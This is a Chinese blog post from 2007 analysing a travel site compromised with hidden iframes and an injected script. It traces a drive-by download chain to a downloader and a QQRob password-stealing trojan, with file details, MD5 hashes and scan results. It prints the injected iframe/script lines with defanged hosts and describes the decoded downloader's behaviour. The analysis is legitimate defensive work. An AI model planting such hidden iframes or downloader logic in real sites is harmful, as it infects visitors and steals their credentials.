某旅游信息网站被挂马Trojan-PSW.Win32.QQRob.lp等

快来打我* 2024-02-17 13:51 15阅读 0赞

**endurer** 原创  
2007-02-28 第1版

该网站的网页末被加入代码：  
/------  
＜iframe src=hxxp://user\*\*.f\*\*r\*\*e\*e.7\*\*\*7169.net/y\*\*j\*1\*6\*\*\*6/xskj.htm width=0 height=0＞＜/iframe＞  
＜iframe src=hxxp://user\*\*.f\*\*r\*\*e\*e.7\*\*\*7169.net/y\*\*j\*1\*6\*\*\*6/kh0.htm width=0 height=0＞＜/iframe＞＜script language=javascript src=hxxp://yu\*\*\*s\*ahi.com/js/test.js＞＜/script＞  
\------/

**hxxp://user\*\*.f\*\*r\*\*e\*e.7\*\*\*7169.net/y\*\*j\*1\*6\*\*\*6/xskj.htm**  
的内容为JavaScript脚本程序，用String.fromCharCode解密变量t的值并输出。

解出的变量t的值为jscript脚本程序，功能是利用 Microsoft.XMLHTTP 和 scrīpting.FileSystemObject 下载文件 she.exe，保存为 %temp%/svchost.exe和%temp%/svchost.vbs，并利用Shell.Application 对象Q 的 ShellExecute 方法 来运行。

文件说明符 : d:/test/she.exe  
属性 : A---  
获取文件版本信息大小失败!  
创建时间 : 2007-2-28 12:40:25  
修改时间 : 2007-2-28 12:40:26  
访问时间 : 2007-2-28 0:0:0  
大小 : 21096 字节 20.616 KB  
MD5 : 1fdbf69232ca57bd9f25116def0b622b

瑞星报为：**Trojan.DL.Direct.et**

<table> 
 <tbody> 
  <tr> 
   <td> <p><strong>Scanned file:&nbsp;&nbsp; <span style="COLOR: #005447">she.exe <font>- Infected </font></span></strong></p> </td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <tbody> 
  <tr> 
   <td><strong><font>she.exe - infected by <a href="http://www.viruslist.com/en/find?words=Trojan-Downloader.Win32.Small.dzu" rel="nofollow"><font>Trojan-Downloader.Win32.Small.dzu</font></a> </font><br></strong><br> <h4 style="MARGIN-BOTTOM: 0px; PADDING-BOTTOM: 0px">Statistics:</h4> 
    <table style="BORDER-RIGHT: #005447 1px solid; BORDER-TOP: #005447 1px solid; BORDER-LEFT: #005447 1px solid; BORDER-BOTTOM: #005447 1px solid"> 
     <tbody> 
      <tr> 
       <td align="right">Known viruses:</td> 
       <td align="left">274479</td> 
       <td align="right">Updated:</td> 
       <td align="left">27-02-2007</td> 
      </tr> 
      <tr> 
       <td align="right">File size (Kb):</td> 
       <td align="left">21</td> 
       <td align="right">Virus bodies:</td> 
       <td align="left">1</td> 
      </tr> 
      <tr> 
       <td align="right">Files:</td> 
       <td align="left">1</td> 
       <td align="right">Warnings:</td> 
       <td align="left">0</td> 
      </tr> 
      <tr> 
       <td align="right">Archives:</td> 
       <td align="left">0</td> 
       <td align="right">Suspicious:</td> 
       <td align="left">0</td> 
      </tr> 
     </tbody> 
    </table> <p>&nbsp;</p> <p>she.exe中包含信息：<br>/---<br>I want to dedicate this message to gates. Gates, you suck. Gatesyou really are homosexual<br>---/<br>会下载文件hxxp://i***.th***e***c.cn/y**j*1*6***6/js.exe，保存为：c:/js.exe</p> <p>文件说明符 : d:/test/js.exe<br>属性 : A---<br>语言 : 英语(美国)<br>文件版本 : 5.2.3790.1830<br>说明 : Generic Host Process for Win32 Services<br>版权 : (C) Microsoft Corporation. All rights reserved.<br>备注 : <br>产品版本 : 5.2.3790.1830<br>产品名称 : Microsoft(R) Windows(R) Operating System<br>公司名称 : Microsoft Corporation<br>合法商标 : <br>内部名称 : rpcs.exe<br>源文件名 : rpcs.exe<br>创建时间 : 2007-2-28 12:55:43<br>修改时间 : 2007-2-28 12:54:56<br>访问时间 : 2007-2-28 0:0:0<br>大小 : 237568 字节 232.0 KB<br>MD5 : 993561111ed73214fd3507ff7669f764</p> <p>瑞星报为：<strong><font>Trojan.DL.Inject.sh</font></strong></p> </td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <tbody> 
  <tr> 
   <td> <p><strong>Scanned file:&nbsp;&nbsp; <span style="COLOR: #005447">js.exe <font>- Infected </font></span></strong></p> </td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <tbody> 
  <tr> 
   <td><strong><font>js.exe - infected by <a href="http://www.viruslist.com/en/find?words=Trojan-PSW.Win32.QQRob.lp" rel="nofollow">Trojan-PSW.Win32.QQRob.lp</a> </font><br></strong><br> <h4 style="MARGIN-BOTTOM: 0px; PADDING-BOTTOM: 0px">Statistics:</h4> 
    <table style="BORDER-RIGHT: #005447 1px solid; BORDER-TOP: #005447 1px solid; BORDER-LEFT: #005447 1px solid; BORDER-BOTTOM: #005447 1px solid"> 
     <tbody> 
      <tr> 
       <td align="right">Known viruses:</td> 
       <td align="left">274479</td> 
       <td align="right">Updated:</td> 
       <td align="left">27-02-2007</td> 
      </tr> 
      <tr> 
       <td align="right">File size (Kb):</td> 
       <td align="left">232</td> 
       <td align="right">Virus bodies:</td> 
       <td align="left">1</td> 
      </tr> 
      <tr> 
       <td align="right">Files:</td> 
       <td align="left">1</td> 
       <td align="right">Warnings:</td> 
       <td align="left">0</td> 
      </tr> 
      <tr> 
       <td align="right">Archives:</td> 
       <td align="left">0</td> 
       <td align="right">Suspicious:</td> 
       <td align="left">0</td> 
      </tr> 
     </tbody> 
    </table> </td> 
  </tr> 
 </tbody> 
</table>

**hxxp://user\*\*.f\*\*r\*\*e\*e.7\*\*\*7169.net/y\*\*j\*1\*6\*\*\*6/kh0.htm**  
找不到网页。

**hxxp://yu\*\*\*s\*ahi.com/js/test.js**  
的内容为：  
/------  
document.write("＜iframe ＜iframe src=hxxp://yu\*\*\*s\*ahi.com/js/sas.htm width=0 height=0＞＜/iframe＞")  
document.write("＜iframe ＜iframe src=hxxp://yu\*\*\*s\*ahi.com/js/zj.htm width=0 height=0＞＜/iframe＞")  
\------/

**hxxp://yu\*\*\*s\*ahi.com/js/sas.htm**  
内容与hxxp://user\*\*.f\*\*r\*\*e\*e.7\*\*\*7169.net/y\*\*j\*1\*6\*\*\*6/xskj.htm相同。

**hxxp://yu\*\*\*s\*ahi.com/js/zj.htm**  
找不到网页。